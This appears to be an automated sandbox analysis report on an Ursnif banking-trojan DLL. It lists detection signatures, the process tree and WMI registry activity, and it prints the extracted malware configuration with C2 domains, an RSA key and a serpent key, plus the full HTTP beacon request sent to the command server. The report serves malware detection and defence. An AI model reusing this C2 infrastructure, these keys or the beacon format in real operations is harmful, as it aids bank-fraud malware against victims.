Play interactive tour

Edit tour

Windows Analysis Report 5.dll

Overview

General Information

Sample Name:	5.dll
Analysis ID:	445164
MD5:	fceb6a51be4205d11be1491f6e263cae
SHA1:	0abb60d37fac49912172c5385ff58e049520eb53
SHA256:	c521dd937ce9b2e8bda2fa915bae5b5be0e150a8b82e3b2bfb1cdbc60a8326c4
Tags:	dll
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Ursnif

Machine Learning detection for sample

Writes or reads registry keys via WMI

Writes registry values via WMI

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 2248 cmdline: loaddll32.exe 'C:\Users\user\Desktop\5.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 5484 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\5.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 452 cmdline: rundll32.exe 'C:\Users\user\Desktop\5.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1716 cmdline: rundll32.exe C:\Users\user\Desktop\5.dll,Clockcondition MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2940 cmdline: rundll32.exe C:\Users\user\Desktop\5.dll,Dogwhen MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3904 cmdline: rundll32.exe C:\Users\user\Desktop\5.dll,Sing MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5580 cmdline: rundll32.exe C:\Users\user\Desktop\5.dll,Wholegray MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 1900 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 3220 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5264 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17418 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "ovNAU+HRorLZmwnDvbYFDY7UA+FTIAnF2uJSQd0M+N3ep6CVEhoDrEXACstP09QHK7cBl9nMAaFI1as0K4aXOQKngdScIQbDa3MQ98Ce9MYRMvxGUI05fSIRRFzMYffOXQr97vVUUUPjsYgfkDWS2eKPxSe5dz/pF0mjA0T8ibOLzHmVMs4vVv+nwVAw0xpD", "c2_domain": ["outlook.com", "auredosite.club", "vuredosite.club"], "botnet": "8877", "server": "12", "serpent_key": "30218409ILPAJDUR", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.451946137.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.452051043.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000002.496928044.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445570350.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.452023874.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.452000205.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445487547.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445636875.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445602533.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445524931.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.451869538.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.452038744.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000002.498068878.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445456909.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.451977445.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.451921011.0000000004D18000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445424230.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.445650161.0000000003328000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 452	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 2248	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 15 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000006.00000003.368989675.0000000000900000.00000040.00000001.sdmp

Malware Configuration Extractor: Ursnif {"RSA Public Key": "ovNAU+HRorLZmwnDvbYFDY7UA+FTIAnF2uJSQd0M+N3ep6CVEhoDrEXACstP09QHK7cBl9nMAaFI1as0K4aXOQKngdScIQbDa3MQ98Ce9MYRMvxGUI05fSIRRFzMYffOXQr97vVUUUPjsYgfkDWS2eKPxSe5dz/pF0mjA0T8ibOLzHmVMs4vVv+nwVAw0xpD", "c2_domain": ["outlook.com", "auredosite.club", "vuredosite.club"], "botnet": "8877", "server": "12", "serpent_key": "30218409ILPAJDUR", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Multi AV Scanner detection for submitted file

Show sources

Source: 5.dll

Virustotal: Detection: 22%

Perma Link

Machine Learning detection for sample

Show sources

Source: 5.dll

Joe Sandbox ML: detected

Source: 5.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Source: 5.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: c:\393_Molecule\skin\depend\supply\Thick\Drive.pdb source: loaddll32.exe, rundll32.exe

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49721 -> 40.97.116.82:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49721 -> 40.97.116.82:80

Source: Joe Sandbox View	IP Address: 52.97.144.2 52.97.144.2
Source: Joe Sandbox View	IP Address: 40.97.116.82 40.97.116.82

Source: global traffic

HTTP traffic detected: GET /grower/b1FUosZSinX/D_2FTo28i4eES3/o1nX6HvoNr7JCqEB2TBDy/3reac2cOKkFxPa3C/uHqcEARrcPcZDk3/M6E_2BTZS_2BVaLqj4/34AYxwikF/REm_2FMb1QNTSjBFb_2F/tvRFv4olV4RM6PFjWcs/Yxi4zCvrQiijB3JFDfkmao/_2Ff4LrwOirbu/dGY1O2o_/2BPYCJyNgelsd4Jc6x2/N.grow HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: outlook.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: outlook.com

Source: ~DF3A99C7AD2702480D.TMP.24.dr, {BD6AF35E-DF4A-11EB-90E5-ECF4BB570DC9}.dat.24.dr	String found in binary or memory: https://outlook.office365.com/grower/GwIQZ7VTU_2B0dEDGXi3usO/98Jy_2Fhjs/9ADdwnOA_2BxxHdxk/bJ6tUkE3rK
Source: ~DFBADD8EC8FEBD51BA.TMP.24.dr, {BD6AF35C-DF4A-11EB-90E5-ECF4BB570DC9}.dat.24.dr	String found in binary or memory: https://outlook.office365.com/grower/b1FUosZSinX/D_2FTo28i4eES3/o1nX6HvoNr7JCqEB2TBDy/3reac2cOKkFxPa

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.451946137.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452051043.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.496928044.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445570350.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452023874.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452000205.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445487547.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445636875.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445602533.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445524931.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451869538.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452038744.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.498068878.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445456909.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451977445.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451921011.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445424230.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445650161.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 452, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 2248, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.451946137.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452051043.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.496928044.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445570350.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452023874.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452000205.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445487547.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445636875.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445602533.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445524931.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451869538.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452038744.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.498068878.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445456909.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451977445.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451921011.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445424230.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445650161.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 452, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 2248, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDC1A44 NtMapViewOfSection,
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDC1996 GetProcAddress,NtCreateSection,memset,
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDC23A5 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A75A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7B1A5 NtQueryVirtualMemory,

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDC2184
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDE17B0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDF05E5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDF0DB8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDFBE61
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDF4E00
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DE009C8
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDF88B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7888E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A73EE1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7AF80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDE17B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDF05E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDF0DB8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDFBE61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDF4E00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE009C8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDF88B7

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6DDF3290 appears 39 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6DDF3290 appears 39 times

Source: 5.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal84.troj.winDLL@18/7@6/5

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02A7A65C CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{BD6AF35A-DF4A-11EB-90E5-ECF4BB570DC9}.dat

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF48F8DB99852E5824.TMP

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Clockcondition

Source: 5.dll

Virustotal: Detection: 22%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\5.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\5.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Clockcondition
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\5.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Dogwhen
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Sing
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Wholegray
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17418 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\5.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Clockcondition
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Dogwhen
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Sing
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\5.dll,Wholegray
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\5.dll',#1
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17418 /prefetch:2

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Source: 5.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: c:\393_Molecule\skin\depend\supply\Thick\Drive.pdb source: loaddll32.exe, rundll32.exe

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DDC1BAC LoadLibraryA,GetProcAddress,

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDC2173 push ecx; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDC2120 push ecx; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDEDE07 push ecx; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DDF32D5 push ecx; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DE1C347 push eax; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DE1C400 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7E0C7 push cs; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7E458 push ds; retf
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7ABC0 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7E163 push edx; iretd
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02A7AF6F push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDEDE07 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DDF32D5 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE1C400 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE1C347 push eax; ret

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.451946137.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452051043.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.496928044.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445570350.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452023874.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452000205.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445487547.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445636875.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445602533.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445524931.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451869538.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.452038744.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.498068878.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445456909.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451977445.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.451921011.0000000004D18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445424230.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.445650161.0000000003328000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 452, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 2248, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\rundll32.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

